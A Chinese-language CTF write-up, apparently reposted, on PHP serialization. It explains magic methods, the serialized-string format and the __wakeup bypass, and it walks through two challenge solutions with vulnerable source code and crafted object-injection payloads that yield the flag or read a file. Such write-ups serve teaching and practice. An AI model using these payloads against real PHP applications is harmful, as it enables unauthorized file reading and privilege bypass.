CTF中的序列化與反序列化


記一些CTF出現的序列化與反序列化的知識點和題目。

序列化和反序列化的概念

序列化就是將對象轉換成字符串。字符串包括 屬性名 屬性值 屬性類型和該對象對應的類名。
反序列化則相反將字符串重新恢復成對象。
對象的序列化利於對象的保存和傳輸,也可以讓多個文件共享對象。

序列化中常見的魔法函數:

__construct() 創建對象時調用
__destruct() 銷毀對象時調用
__toString() 當一個對象被當作一個字符串使用
__sleep() 在對象在被序列化之前運行
__wakeup 將在序列化之后立即被調用

看一串字符串

O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}

O代表對象 因為我們序列化的是一個對象 序列化數組則用A來表示
3 代表類名字占三個字符 
ctf 類名
3 代表三個屬性
s代表字符串
4代表屬性名長度
flag屬性名
s:13:"flag{abedyui}" 字符串 屬性值長度 屬性值

訪問控制修飾符

根據訪問控制修飾符的不同 序列化后的 屬性長度和屬性值會有所不同,所以這里簡單提一下

public(公有)
protected(受保護)
private(私有的)
protected屬性被序列化的時候屬性值會變成:%00*%00屬性名
private屬性被序列化的時候屬性值會變成:%00類名%00屬性名

就像這樣

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}//這里是private屬性被序列化

繞過__wakeup()函數

當序列化字符串表示對象屬性個數的值大於真實個數的屬性時就會跳過__wakeup的執行。

//將上面的對象屬性個數值改成逼真實個數打
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

看幾道基礎的題目

[極客大挑戰 2019]PHP

掃目錄拿到www.zip網站的備份源碼。

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}
$a = new Name("admin",100);
$a = serialize($a);
echo $a;
?>

得到

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

繞過__wakeup

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

private屬性被序列化的時候屬性值會變成%00類名%00屬性名,根據規則進行修改

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

然后?select傳值

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
ISCC2020-Php is the best language(php反序列化)
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
    public $file="flag.php";     //本來是public $file這里改成public $file="flag.php"; 
    function __toString()
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}/*
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    $good = unserialize($data);
    echo $good;
}
else
{
    $url='./index.php';
}
$html='';
if(isset($_POST['test'])){
    $s = $_POST['test'];
    $html.="<p>謝謝參與!</p>";
}*/
//下面是解題代碼
$a = new baby("flag.php");
$a = serialize($a);
echo $a;      //O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
?>

然后傳值


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM